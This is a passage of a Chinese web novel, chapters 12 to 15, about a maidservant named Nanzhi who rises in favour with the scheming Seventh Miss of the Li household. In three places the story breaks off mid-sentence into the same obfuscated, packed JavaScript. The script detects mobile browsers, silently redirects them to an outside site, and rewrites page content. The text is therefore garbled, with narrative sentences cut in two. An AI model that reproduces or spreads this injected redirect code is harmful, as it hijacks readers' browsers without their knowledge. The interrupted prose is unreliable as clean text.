琉璃便捡着话来劝，“老夫人还不知道七姑娘麽。大夫人管家，上下皆需要她过目，那等刁奴就是瞧准了这个，就欺上瞒下，敷衍主子。七姑娘在青竹轩养着，平日里不出深闺，知礼懂教，只……赎奴婢多嘴，七姑娘又不是厨娘，到底不知吃食金贵与便宜，遭人蒙骗，这才出了这档子事。” 这一番话，既帮了大夫人，也帮了七姑娘，又还了南枝的“贿赂交好”之情。 12. 争锋 被琉璃劝解后，老夫人也相信了七姑娘无辜，就像她说的，七姑娘长久不出门，唯一吃过的别处的吃食还是逢年过节聚在一起时才品尝到，偏偏年节的吃食只要求形好看，味道次要，这就给了七姑娘错觉：吃食都一样，冷的油腻的。 “再则，七姑娘才受了那档子事。”琉璃说，没人为七姑娘做主，她不就苦得跟苦瓜一样。 “造孽啊。”老夫人心中泛起了怜惜，好好的李家姑娘，竟养成这样。 * 内室，南枝与秋扇替七姑娘擦脸涂油，七姑娘还问南枝，“方才拿了甚么赏赐？就一样？” 她视线往上看，正看见多出来的小插。 南枝揣摩七姑娘的心思，“还有一根金镶红宝石的步摇以及三颗金花生，给了琉璃姐姐。”说这话时她贴着七姑娘耳朵，没叫端水进来的福寿堂丫鬟以及秋扇听见。 七姑娘挑眉，“聪明。”没成想她还挺有脑子，她身边就该有这些人，不然看着蠢货，她也恼。 但光有机灵没用，还得完完全全忠心于她，光是这点，整个青竹轩就能撵走不少人。 “回去后，赏你金元宝。” 只凭这句，南枝就知道这事做对了，见缝插针搭上琉璃，往后有事也能多个人。她姐姐虽然也在福寿堂，但不是老夫人贴身的人，终究有差别。 况且她也不愿意姐姐被扯进来，万一事后问责，岂不是连累？ “慢些，还有面脂唇脂薄薄一层就好，一定要淡。不用太快出去，且等着吧。”七姑娘闭目，让老夫人与大夫人斗去吧，她暂且看着。 待听见巨大的“咣当”一声清脆的响声，七姑娘才缓慢起身，“走吧，给大伯娘见礼。” “你睁大眼睛看看，这些菜能入口？哪个主子吃这些冷饭冷菜，传出去没得叫人说嘴，议论咱们家虐待姑娘，不把小主子放在手掌心上捧着呢。”老夫人坐在雕刻了寿桃的黑木圈椅上，用手指捻着帕子，指着一大桌饭菜说。 大夫人看了两眼，精致可口不见油腥子的饭菜定是给老夫人吃的，而另外几道不用瞧，就是七姑娘吃的。真是一堆吃干饭的混账王八羔子玩意，面上功夫也不做好点，叫老夫人抓到了。 “母亲仔细身子，喝口茶消消气。”琉璃端了茶水来，递给大夫人，而大夫人接了后，半跪在老夫人膝盖边，哄着她喝了。 老夫人轻轻抿了几口，脸色好转，“你且说说，有什么想法没有？” “谢老夫人给儿媳辩白的机会。”大夫人也精，四十多的人了，愣是伏低做小，也不嫌臊，慢慢解释道：“这首先，便是儿媳有错，最近忙着姑娘公子议亲的事，外出赴宴多，可绕是如此，儿媳隔三差五就叫大厨房的奴婢前来问话，她们总是说好，儿媳叫妈妈去查看，给七姑娘那儿送的份例样样不错，儿媳便以为七姑娘没受委屈。厨子厨娘们都是做了二十多年的老人了，总有疏忽瞧不中的时候，一时不察，就叫大厨房的帮工怠慢了七姑娘。” 预备出声的七姑娘无声冷笑，想要舍车保帅？帮工值当什么，没了这个还有那个，但大厨房的管事掌勺们都是大夫人的人，这要是换人，她不就失去掌控大厨房的手段了？ 赶在老夫人说话之前，七姑娘开口了，“见过大伯娘，大伯娘安。”她被人掺扶着，弱柳扶风的姿态。 “过来我这里坐。”一瞧见她，老夫人表情就软了，拉着她不住地说道：“可吓到了？这等刁奴迟早撵出去。”说这话时，她斜眼看着大夫人。 真真遭罪。大夫人烦躁得不行，却还是打起精神说道：“七姑娘，往常你不声不响，伯娘还以为你日子滋润，不成想竟闹出个笑话，你放心，这事定会处理好。” “母亲，您有什么想法？”大夫人请示，又添了句，“赶走帮工们也不麻烦，再找就是了，或是从家生子里挑，或是叫人牙子领了短工来聘，都不成问题。” 大夫人想保管事妈妈们，若是以往，老夫人睁只眼闭只眼也就随她去了，可如今，这事闹到她面前，而且七姑娘又是这一副懵懂的模样，刚出过事，全心依赖的唯有她，她这个祖母又怎能含糊过去。 上回落水她就受了委屈，这回，无论如何，也得有个公道。 “作管事的，底下人胡作非为，上边的人不知，那就是能力不足，便也是有错，不然她们当管事，岂不是很轻松？”老夫人说，“我知道你忙，没心思管这些零碎也是正常的，不怪你。” “只是那大厨房管事，却是有罪，依我看，便罚她一年月例银子，往下经常为青竹轩做菜的厨子厨娘，一人十个手心板子，过后就去了职，不叫他们这些没心肝的伺候。至于人不够，像你说的，去聘去请，总会不缺。”没动大管事，也算给大夫人面子，只是往下的那些人，老夫人不打算放过，杀鸡儆猴是要的，不然这回慢待七姑娘，下回岂不是慢待她。 大夫人快速在心里思量一阵，罢了，选个不重要的厨子顶罪便是，左右大厨房还是她管，老夫人也没有扯了她的管家权就成。 “就听母亲的吩咐。”大夫人扯着嘴角笑，看不出一丝勉强的滋味，她还言笑晏晏地对七姑娘说道：“七姑娘遭了这番罪，回头三餐不如到伯娘这儿来用，伯娘亲自盯了他们，保准不让这些事有第二回。” 这种虚词，七姑娘也只当听听，她睁着澄澈的大眼睛回道：“伯娘事情多，我不敢打扰。可惜我的小厨房只有个做糕点的娘子，要是多几个人，我也就不会闹笑话了。” 大夫人内心一动，提议道：“不若这样，叫那个犯错的厨娘去你的小厨房当差，将功补过，随你差遣，如何？” “祖母。”七姑娘抬头看老夫人，眼中孺慕之情都要溢出来了，就像在说：全靠祖母做主。 “也成，不过先把他们叫进来，我亲眼见过，探探老不老实，如果再敢欺瞒，就不只是二十板子那么简单了。”老夫人“哼”了一声。 七姑娘攥着老夫人衣角，有了孩童的稚嫩感。她多了解老夫人，佛口蛇心、喜好面子，惯会在面上作文章，背后淡漠着呢。 她也就是挑的时机更好，落水、变了性子、想着感恩祖母关心、进而献菜……这一步步，才做成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270899|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这件事。 她都决定好了，该争取就争取，至于往后，还不知有什么变数，且看着再作打算。 “诶，儿媳这就去安排。”大夫人摆摆手叫妈妈去安排。吃了亏，她也不肯善罢甘休，眼珠子一转，便说道：“是了，只不过这青竹轩小厨房是五夫人开口设的，这凭空多了人，母亲您看是不是派人告知她一声？” 提到了五夫人，老夫人就想到她的不足，顿时皱眉，不喜道：“不必，她院内事情不少，这等小事就不用教人走来走去。”当初设小厨房却不安排妥当，想也知道五夫人的小心思，但她没有摆在明面上来说。 “是。”这回大夫人才是真的恼了，她为李家操心多年，公中时常亏损，她还要自个贴嫁妆银子进去，可老夫人从不会这样为她着想。反倒是那个五夫人，成天捧了金银财宝孝敬她，她就巴巴儿地为她说话，可恨！ 不多时，便有一个脸生嫩的厨娘来了，大夫人身边的管事妈妈说，“启禀老夫人，这就是经常为七姑娘做膳食的厨娘，已经带来了。” 老夫人视线从厨娘脸上移到大夫人身上，心里明镜似的，却没有说出口，而是说道：“既如此，就叫她受了罚，然后去青竹轩。” 和稀泥一般，这事就完了。 “祖母，您礼佛，叫她在福寿堂挨打也不好，不若让孙女把她带回去，再罚。”七姑娘言语间都是为老夫人着想，“左右她知道错就行了。” “也好，就依你的意思。” 从福寿堂出来，天已经完全黑了，到了五院，一个衣着鲜亮的丫鬟主动迎上来，“奴婢莲春见过七姑娘，五夫人请您去正院。” “我回去换身衣裳，你去禀告母亲，我晚一点过去。”七姑娘掀了掀眼皮，淡淡地看着莲春。 待回到青竹轩，七姑娘就吩咐，“翠平还有满月陪我去正院，你们两个回去歇息。” “是。” 南枝此刻嘴皮子起皮了，去福寿堂这么久，一口水一口吃食都没有。 即便是这样，她也还是没落下秋扇，“秋扇姐姐，这老夫人赏我们的菜摆在哪儿吃？” “这是老夫人赏你的，我怎好脸大？”秋扇长的花容月貌，是小家碧玉的娴雅美人，此刻她微微蹙眉，瞧不出情绪。 原来是老夫人与七姑娘重新用膳后，问到了南枝选了甚首饰，见南枝挑的头饰不起眼，老夫人觉她不贪心，不像大厨房的刁奴，顺着杆子往上爬，故而把剩菜赏她。 别看是主子吃剩的，对于她们丫鬟而言，可是一顿美味佳肴。 “诶，姐姐为七姑娘尽心，老夫人看在眼里，只是不好提出来。瞧这菜的数量，就知道不单是赏我一个人，姐姐有功，合该一起用了。”南枝舌灿莲花，对上大丫鬟是一个面孔，对无甚存在感的丫鬟，又是一个面孔。 她倒不怕拆穿，这是拍马屁吗？这是她一片赤子之心，发自内心想这样做，哪儿就是不入流了？ 哪怕流云与满月觉得不对，可又有甚证据证明她有两幅面容？ “那就一起用。”秋扇松口。 13. 请吃酒 秋扇管着七姑娘的库房钥匙，前两天被七姑娘派去核查库房存放的物件，因而与南枝并没有接触。 今个一见，倒觉得她会来事，不邀功又管的住嘴。 在秋扇房里用过一顿饭后，南枝给秋扇泡了茶，说道：“不值钱的茶叶沫子，姐姐不要计较。” “我粗人一个，哪儿有嫌弃的理。”秋扇摇摇头，又问道：“你当差有什么不懂的只管问，我有空就教你。”她是全心全意为七姑娘想，担忧南枝出错惹得七姑娘生气，倒累了她的身子。 “我晓得，翠平姐姐也是这样说。” 见她提翠平，秋扇面色又和善了不少，“也好，翠平会的东西多，你在她身上学个一星半点，也不差了。像什么看账簿、预估铺子的位置以及能赚多少银钱，都逃不过她的眼睛。” “这要是放在外头，她保管能当个掌柜，经纪。”说罢，秋扇便起身，“你还不回去沐浴么？” “我还要值夜呢，明日早上再沐浴。”南枝解释，见秋扇脸色有一瞬间的诧异，就替流云说话，“是我自个要求的，不干流云姐姐的事。” 不干她的事，那就定是流云指使的，错不了。 秋扇瞅了瞅才到她肩膀的小丫头，瞪着一双圆溜的眼睛，有几分聪慧劲儿，偏偏当差时还很实诚，她叹气，点头，“你且去吧。”不是她偏心南枝，实在是认识流云多年，她清楚她的为人，也了解她的真面目。 她还没作大丫鬟时，流云就给她使过绊子呢，表面姐姐妹妹，背后却下狠手，也就满月这个傻丫头还愿意跟她一齐玩。 南枝教她欺负了，那还不冤。 * 南枝进茶水间前，向门口的文儿问了，七姑娘还没有回来，她便进去，自顾自地忙。 瞧这样子，七姑娘往后是不会教人忽视了，她自个也想争，那么跟着她的丫鬟日子就差不了。 起码以南枝的角度来看，目前青竹轩的丫鬟们也好相处，都是十五六岁的大姑娘，面子情处理得到位，除了流云，没有哪个故意为难她。 况且，根据她打听来的消息，秋扇有未婚夫，明年就要成亲，迎雨刚被五夫人指给了一个账房的小儿子，至于其他的丫鬟，不甚清楚，但左右也会有议亲，只是不教她们知道。 在过去两年，她向姐姐旁敲侧击，问了不少的事。像大房姑娘身边的丫鬟，大了就放出去嫁人，十个当中可能只有两个是会回来继续伺候主子，但回来也不能是原本的差事。 要么就是不成亲，一辈子跟着姑娘，当丫鬟、陪房娘子、自梳的妈妈，也能得一辈子的舒坦，端看自己怎么选。 南枝选后面这个，她觉醒了记忆，总不能十七八岁嫁人甚至生孩子，若是死了，岂不是对不住她重活一次的机会？ “南枝，今个不若我守着，你先回去罢。”流云的声音由远及近，南枝放下茶盏，问她，“流云姐姐，怎的了？你守一天，累的慌。” “不妨事，事情又不多，你今个也倦了吧？由着我来就行，我多照顾照顾你。”流云嘴上说着好话，实则心思不断。 她早上才听闻南枝沾光得了七姑娘的一两银子，下午又听见她陪七姑娘去福寿堂，又得了赏赐，她可不觉得是南枝有让人高看一眼的地方，只以为她运道不错，昨晚送的安神汤入了七姑娘眼，今日才能见到老夫人。 可见这守夜，也不是没有机缘的。 “成，流云姐姐忙着，对了，有一件事想与姐姐说，明日下午姐姐可有空？一齐到我家里吃一盅酒。”南枝邀请，“秋扇姐姐不得空，翠平姐姐应了，你来不来？” 七姑娘养病，不喝茶，她们暂且空余半个时辰，也不打紧。 “人多么？” “有七八个。”南枝回答。她刚进院子，是新人，又年少，所以少不得破费一回，请姐姐们喝上几杯酒。 若是明日不请，过两天五夫人又指派了新丫鬟进来，她再请，难免有拉帮结派对付老人的嫌疑。 流云便点头，答应去了。 * 翌日。 王娘子也与人调了班，先一步家来。 只她还没有等来妹妹，便有人提着东西上门，“今日看见你回来，就想着找你说说话。” “我道是谁，原是方妈妈，坐吧。”大好日子不宜赶客，王娘子就把人放进来了。 方妈妈生的膀大腰圆，甭管是娘子妈妈婆子，有没有钱都喜欢在头上戴银饰头花点缀，她偏不是，只用一根有些许花纹的木笄子固定了头发，就了事了。 她后头还跟着一个姐儿，随了她，一样高大，比与她同龄的大了一圈。 方妈妈进来，三角眼先是在四方桌上的竹盖子上游移，闻到了烧鸡的味道，暗道王娘子日子也是滋润起来了。再多看两眼，没找着人，她就问，“怎么不见南枝回来，你们俩也该聚一聚。正好，我弄了炸馒头，香的很，你快尝一尝。” 王娘子定睛一看，那炸馒头切成一片一片，厚薄一样，金黄焦香，刚出锅不久，还能看见上头滋滋冒油，哪怕不沾酱，也能香掉舌头。 “这太费功夫了，使不得，你拿回去，教生儿吃。”王娘子推脱，无事献殷勤，她可不受！ “是废功夫，我昨天和的面，今个一早包了，上锅蒸熟晾亮，立马切了炸的。你在老夫人那，南枝在七姑娘那，难不成连炸馒头也吃不起？”方妈妈不擅长那等拐弯抹角，三两下就暴露了目的。 原是为了差事。她那一家子，前面三个姐儿都有了奔头，就面前这个生儿，十六岁了，还在家带弟弟。 算了算，方妈妈的小儿子好似都七岁多了。寻常这个年纪的家生子，要么给公子作贴身小厮，要么去各处打杂，学点手艺，可她的儿子，如今还在家要姐姐照顾哩！ “不成，老夫人常教我们，不能占便宜，你拿回去。对了，我这儿待会儿要来客人，就不招待方妈妈你了。”弄清楚了方妈妈的想法，王娘子毫不犹豫下逐客令。 “诶这……”方妈妈虽不是顶顶得用的人，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270900|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点年纪，外头的人又喊一声妈妈，便觉着人人都敬她。这会儿被王娘子赶，心有不甘，还想胡搅蛮缠，“王娘子，你这话就不对了，我与你娘多年情分，从赵府跟着一起过来的，想当年，我与你娘还是手帕交哩……” “方妈妈，你让让。”王娘子拿着抹布就往方妈妈身上招呼，亏得方妈妈躲闪，“我倒是不知方妈妈与我娘亲恁熟，说来也怪，怎的我娘亲病的那几年，也没见妈妈上过门，可是我记差了，糊涂了？” “妈妈且拿好，家去慢慢吃罢。”王娘子冷着脸把装炸馒头的竹箩扔进方妈妈怀里，又关了门。 被赶出门的方妈妈脸通红，她女儿生儿怯生生地问道：“娘，那我还能去当差麽？”说起当差，她眼里闪着光，再不想在家哄弟弟了。 方妈妈眼珠子转悠一圈，想到了别的法子，“王娘子不好说动，生儿，你且在这里等着，要是那南枝回来，你与她搭话，她是个闷葫芦，准答应你给你通通关系，去七姑娘那儿谋个好差事，也不必等到后日了。” 生儿不禁连连点头，脑子里已经想着在青竹轩能有多气派了。南枝啥也不会，就能当个二等的丫鬟，她会做饭刺绣裁衣裳，还会照顾人，可不比南枝会的多？ * 到了下午，南枝领着一堆儿姐姐家来，还没进院子，就被生儿拦住，只见她支支吾吾，半天说不出一句话，南枝没了耐心，“我还要招待姐姐们，你若是有事，暂且缓缓。” 生儿也不作其他反应，呆呆地看着南枝走远，喃喃自语道：“那是南枝？一点也不像。” 她注意到南枝头上插着两根银簪子，还带金点缀，手腕上圈着镂空金镯子，再一身鲜艳的纱裙，神态已然不同，跟主子身边的大姐姐们一样，教她不敢轻易攀扯。 浑浑噩噩地回了家，方妈妈正喝酒，醉醺醺的，“咋样，可问了南枝，愿不愿意给你走关系？” “说了。”生儿小声地回，心里正怕着挨骂，见她娘翻个身睡过去之后，就安心了。她到现在还记着南枝朝她迎面走来时的威风，后面跟着数不清的姐姐，每一个都风光得很。她被摄住了心神，没敢开口。如今倒是懊恼，“要是借着南枝跟姐姐们说上话，那该多好。”她心头火热，左右望了一眼，拿起酒壶对嘴喝，几下又呕出来。 不像个人样。 “姐姐们，我进院子不久，还要仰仗姐姐们提点，这点子酒菜薄，不成敬意。”南枝说了场面话，家里开了两桌，她挨个敬酒，一番下来脸皮庞红。 不止青竹轩的丫鬟，青儿小翠等人也在，作为好友一同吃个饭。 桌上八.九个菜，甚么烧鸡烧鸭、糖醋排骨，吃得人兴起，一顿下来，南枝也就算打入内部了。 散了场后，青儿留下帮着收拾，与南枝咬耳朵，“我得多学着点，看她们说话多好听。” “是该学。”南枝说，想混得好，就得学会见人说人话，木头呆子可要不得。 “流云姐姐，吃点醒酒汤。”南枝独留下了流云。 14. 茯苓回院 “你我的关系，何须破费。”流云摸着一锭银元宝，只觉得南枝的木讷都变得有趣了，“不过你找我那还真没找错，姑娘的丫鬟里，那么多姐姐娘子，只我一个会点茶，旁人都不会这个。” “所以便要你费心，好好教教她，往后共同为七姑娘做事，她总不至于丢你的脸。”王娘子也搭话，哄得有几分醉意的流云更高兴了。 “成，明日当值，我就教你。”流云答应下来，手一勾一放，银元宝就入兜了。 南枝放下心，“那便麻烦流云姐姐了，我姐姐说你教我辛苦了，这半个月的夜值就让我来上，可好？” “你有这个心自然是好，我也不拦着你。”声音里都透着满意，流云还没醉得彻底，便自个回去了。 “南枝，我也走了，有事儿就叫我，我今个在家里睡。” 待青儿也离开后，王娘子才戳着南枝的头说道：“如今拿我作筏子是越来越顺手了，不过你有这份心眼子我也放心。”她妹妹比她聪明，同样的年岁，那个时候她还要娘教她，妹妹却不用，无师自通。 “秋扇翠平她们以为是你教我的话，流云满月则是觉得我呆笨，左右一层假面，只要七姑娘觉得我可靠能用，就足够了。”回忆方才饭桌上众人的神态，南枝说。 王娘子点头，随后想起南枝与她说的话，便问道：“你觉得哪个有可能作大丫鬟？翠平还是流云？茯苓那个模样，七姑娘应当不会教她重新领这个差事吧？” “我也不知，再看吧。”哪儿就是能定下来了？七姑娘一日不开口，这人选就会变化。 * 万籁俱寂，南枝在茶水间独自练着点茶的手法，忽的，外面传来了声响，她探出头去看，一个姐儿赶在青竹轩下锁之前回来了，手里还挎着包袱，夜色模糊了她的面容。 直到近了几步，南枝才认出了她是谁：正是被老夫人罚了之后生病的茯苓。 她怎么这个时候回来？ 茯苓去到原本住的厢房敲门，没成想被秋扇拦在门口，“你的东西早已搬到后罩房，去那吧。” “怎么可能！”茯苓控制不住地高声喊，在她看来，有着从小与七姑娘一同长大的情分，哪怕她被老夫人罚了，可七姑娘也不该对她如此无情。 况且她娘吴妈妈也说过，等这件事过去了，就向七姑娘求情，七姑娘心软，定会答应让她继续当大丫鬟。这位子一直空着，不就是等着她回来？ “如何不可能。”秋扇别提多畅快，从前受了茯苓多少欺负，看她落魄，心里舒坦极了。她上上下下打量茯苓，说道：“老夫人说你有不对，难不成七姑娘还能驳了老夫人的意思？你既然有错，那就好好跟下边的丫头学着点当差，等会了再说话。瞧你这样，夜半高声，规矩都学到肚子里去了，可见你不冤。” 秋扇跟了七姑娘几年，见七姑娘有了变化，不再事事询问吴妈妈还有茯苓，比领了几两金子还要得意。 甭看这会儿人人都预备歇息了，不少人搁缝隙里看着这一场好戏，就连南枝，都扒在窗边偷偷看。 “你本就有错，要是这会儿吵到了姑娘，那就罪加一等，你看老夫人还饶不饶你。”秋扇见她还不知悔改，直接冷声提醒，“你自个犯蠢就算了，别累的我们也被主子责怪。” 茯苓被她怼得张着嘴巴说不出一句话，她恨恨地看着秋扇那张脸，觉着真是碍眼。 有小丫鬟从后罩房方向出来，“茯苓姐姐，我给你带路。”她笑着，仿佛已经落魄的茯苓还是从前那个呼呼喝喝的管事。 “那还不走。”茯苓态度恶劣地说道。 待好不容易安静，南枝便往左边瞧瞧，这动静不小，七姑娘当真不知道？ 照茯苓这个样子，要是等吴妈妈回来，这母女俩与七姑娘之间不定还有斗争呢，她这个新来的，势必要站队。 今夜就过去了，天刚亮时南枝下值，正巧看见秋扇从正屋出来后去往后罩房，不消一会儿，一声尖叫传出来，尖利得南枝浑身起了鸡皮疙瘩。 “这是怎的了？”南枝扯住一个丫鬟问，正是昨个去家里吃酒的文儿，她小声回答，“是姑娘教秋扇去把茯苓喊过来，剩下的我也不知。”她眼神同样看着后罩房，有些八卦地说道：“听说昨夜茯苓在后罩房里还与人吵架，闹得一帮子人都没睡好，这会儿还不定闹成什么样子。” 一时半会也无法得知前因后果，南枝便与文儿散了，回了厢房。 照旧还是陈小娘子提了水来，南枝也不拒绝，每次都给点“工钱”，或是几块糕点，或是一些零嘴，与陈小娘子搭上了话，也能聊几句了。 “南枝。”陈小娘子忽的扭捏起来，双手摸摸衣裳又捋捋头发，一副尴尬局促的模样。 “怎的了？” “我姐姐说，往后你要是有什么事需要托人去办，可以找我，我得闲，而且对府里也熟悉，不会办错的。”陈小娘子一口气复述完，又憋红了脸，呐呐地说道：“给我，给我几个铜板就成。” 她觉着难堪，那么大个人了还需要给一个才到她肩膀的丫头跑腿，脑子里两个小人在打架，一个白色的说，“你要赚到钱才能有个人样，让姐姐放心，还能攒点零钱。” 一个黑色的又骂她，“何须低着个头等人施舍，自个有手有脚，怎么就要求人？” 她自顾自地低头，不多时，连一向弯的腰更弯了，南枝也明白她的纠结，人都是两面性的，正常。 “我暂且没这个需求，不过我记着了，往后要是缺了物件或是给别人带信，准找你。”南枝说，陈小娘子就抓上木桶拐着走了。 这事儿又让南枝猜想到了某些事，小厨房多了一个厨娘，往后就不是陈大娘子的天下了，她不能光明正大照顾妹妹，也就只能让她出来。 瞧，在这府里，李家就像树干，她们像是树干上长出来的树枝，依附李家又与其他丫鬟有着盘根错节的联系。 一件事就能引起许多人的改变，想着想着，南枝就联想到了自个，在这青竹轩要想活的好，就得眼观六路耳听八方，不然连别人厌恶自己都不知道。睡醒就打听秋扇去后罩房的事！ * “南枝呢？”刚出了一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小主子选丫鬟，定有一半的人选不上，你们也别心里有气，觉着夫人偏心，这小主子往后是越来越多，你们定会有去处。再就是选上的，也不许起了性子，欺压旁的丫头，若被我发现你们一个个不尽兴伺候主子，反而争权夺利，且等着，从你们老子娘到哥嫂，一个都跑不掉。”这就是要连坐，一起罚。 小丫头们俱都一凛，胆小一些的已经开始手抖，生怕被夫人找了错误。 见她们安静，五夫人满意，正要说开始，七姑娘忽的插话，“母亲，你也知道，我是姊妹中最大的，而且我那就欠一个三等和一个四等的丫鬟，就两个，也不多，不若我先挑了，剩下的再由弟弟妹妹选了去。” 青竹轩先前丫鬟数量是差不多的，只空着两个四等的丫鬟，只是七姑娘落水，贬了一个二等一个三等，南枝补了那个二等，剩下的缺却还空着。 五夫人笑意变淡了，看了七姑娘一眼，“我正想说呢，你倒是有主意，看上哪个了？与我说说，我掌掌眼，免得你年纪轻，挑了个面皮好心底坏的回去。” “怎么会，我到底是母亲的女儿，一脉相承的眼光。”七姑娘不紧不慢回怼，斜斜的丹凤眼轻慢地扫了一圈，手指一点，叫了两个。 南枝顺着七姑娘的手看过去，还是两个认识的人哩！ 15. 两个蠢货 “立夏还有春杏。”七姑娘说了两个名字，登时，那两个丫头就出列站在了最前头，嘴上说着好话，可南枝分明瞧见，立夏懵懵懂懂，而向来吊着眼看人的春杏，嘴唇子都白了。 “怎的是她们，你之前就认识？”五夫人问道，她听过立夏这个名字，给她梳头的娘子还向她举荐立夏，说她有一手旁人所不能及的刺绣手艺，她当时不信，梳头娘子还特意呈了立夏做的荷包香囊给她看，果真针脚紧密。 又加之陈妈妈说，五公子往后交际要体面，这出门携带的香囊必得好，她就想要把人给五公子留着。方才一看，这立夏眉目如画，往后开了脸作姨娘也要的，不成想倒是让七姑娘叫走了。 “不识得。”七姑娘慢条斯理地说道：“不过母亲你看，她们两个穿红着绿，头上又插满了头饰，想必是个有趣的，以后能给我逗趣就成。” 敢在这样的场合高调，要么是攀上了高枝儿，要么就是单纯的蠢货，无论是哪一种，抢回来了都算好事，能给正院添堵，那就更好了。 她的青竹轩，不需要不忠于她的聪明人。 五夫人再仔细一打量，见她们招摇得不行，跟姑娘一般，心中嫌弃，罢了，这样的人入了扶风院，岂不是早早带坏了五公子？ 地上跪着的立夏肠子都要悔青了，而春杏咬着嘴唇，心里恨得不行，都没想过能入了七姑娘的眼，哪怕去正院当个扫地丫头，也好过去青竹轩。 “唱名。”五夫人示意。 丫鬟们便以五个为一组出列，再一一叙述自个擅长的手艺，甚么梳头、刺绣、算账、点茶、厨艺，再不济也要有一把子力气，能去各院子的小厨房里揉面或是抬水。 甚么都不会，那便是最快确定去处的：出门，家去。 说起来，就梳头这个手艺会的人最多，竞争也最激烈，南枝看着先前拦她又不说话的生儿出众，厨艺与刺绣都会，是个好苗子，最重要的是，她样貌不差，不是那等蛊惑人心的美丽，而是出水芙蓉般的清纯。 不过年龄却是最大的，十六岁，已然过了可以细细调教的时候。 “夫人，这生儿……”陈妈妈请示。 “打扮得出挑，美则美已，不过眼里怯懦，且年纪不小，及笄还没有定亲事，且留着。”五夫人眸光深深，不知在想些甚么。 待选完，正院里至少有一大半的人还没有去处，便也只能回去，或是自个谋去处，或是等下一回。 * “奴婢立夏见过七姑娘。” “奴婢春杏见过七姑娘。” 跟着七姑娘回了青竹轩后，两人跪着给七姑娘敬茶，七姑娘喝了，慢慢悠悠地说道：“你们刚进院，所幸我这儿事情不多，只要守着规矩，我也是个讲道理的。” “既然刚来，我少不得找人教教你们。从前都是吴妈妈以及茯苓领这个活，但现在她们一个在府外养病，一个不够资格，我就另外选一个人。” 此时在屋内伺候的人不少，秋扇，翠平，流云，满月，还有一个离门口最近的南枝。 七姑娘视线一一看过去，无视流云还有满月外泄的神态，直直看向南枝，“你与她们年纪相当，又刚学好了规矩，就由你来做。等教会了，分为几等我自有看法。” 南枝微微惊讶，行礼后还在想，她如今已经这般得宠了吗？立夏与春杏先前还瞧不起她，她倒是得了教导的机会。 “流云，你帮我办一件事，去府外告诉吴妈妈，我已经跟祖母提了这件事，教她养个一年半载再回来。” 流云暗自叫苦，这可是个棘手的差事。 “满月，你去禀告夫人，我的衣裳都不鲜艳了，去取几匹上好的布匹来，我要做新衣裳。不要那种成色老的，要鲜嫩无比的颜色，绯红、胭脂色、碧色，月白色也可。” 月白便是淡蓝，作裙儿别有一番雅致动人。 嘴角方才还弯着的满月这会儿也高兴了，得了一个不错的差事。 如此各自领了活计，就散了。 秋扇留下在内室伺候，她一边替七姑娘扇扇子，一边问道：“姑娘可是要培养南枝？”看这派的差事，其余两个都是传话，唯独南枝领的，可是管事才能沾染的。虽然不过是两个小丫头，可威信立起来，往后院里丫鬟多少也得给她两分颜面。 七姑娘没有第一时间回，而是舒舒坦坦地喝上一碗杏仁酪，又忆起前世秋扇在年底急急忙忙嫁出去，与她情分生疏，但她遭罪了，她却还回府给她磕头，教她振作，是个值得信任的丫鬟。 于是她说了心里话，“你也知道，从前青竹轩乱糟糟，吴妈妈与茯苓看我年纪小把权，你也受了不少委屈，我以往糊涂，喝了一池子水之后，倒清醒了。” “这院子里有多少真心为了我好的？你一个，翠平一个，再就是我亲手选的于我有救命之恩的南枝，旁的都信不得。” “姑娘。”秋扇眼眶都红了，想不到主子与她讲心里话，一时间激动，连声说道：“我这辈子能伺候姑娘，是我的福气。”外人说七姑娘脾气古怪，生性懦弱，可在她看来，七姑娘最是良善。 “你与翠平也到了婚嫁的年纪，我现在把南枝调教起来，往后也就有了得用的人，不至于青黄不接。”她今个选立夏与春杏，不单单是因为她们张扬，还是因为打听到她们两个与南枝有些不对付。 要是南枝能让她们心服口服，也就证明她的能力，要是她连这两个憨货都不能治得服服帖帖，这大丫鬟的位子，她可能还要等几年才能当。 “我要一辈子跟着姑娘。”秋扇下了决心，见到七姑娘能立住，她的心思也变了，“若是姑娘不嫌弃，待我嫁人，成了娘子，姑娘随便给我一个差事，当烧火的也成。” “傻，你要是回来，我肯定给你好去处。”七姑娘没料到秋扇与前世不一样，略微有些惊慌过后，她也就接受了。 多了一个得力干将，还有什么不满的？ 另一头，南枝正往后罩房去，一排长房，拢共有正屋以及东西两个厢房合起来那么大，分为五间，其中两间是用作收放杂物，剩下的三间就是给小丫头们住的。 “你们住这儿，床铺还有位子，自己选了，跟其他人协调好。再一个，明日午时到申时到竹林边等我，我给你们教规矩，剩下的时间不可乱跑，要是出去，得与我先说，我同意了再去，听明白了？”流利的一番话下来，南枝身上的气势逼人，明明也不比面前的两个丫鬟大多少，可就是教她们不敢反驳，乖 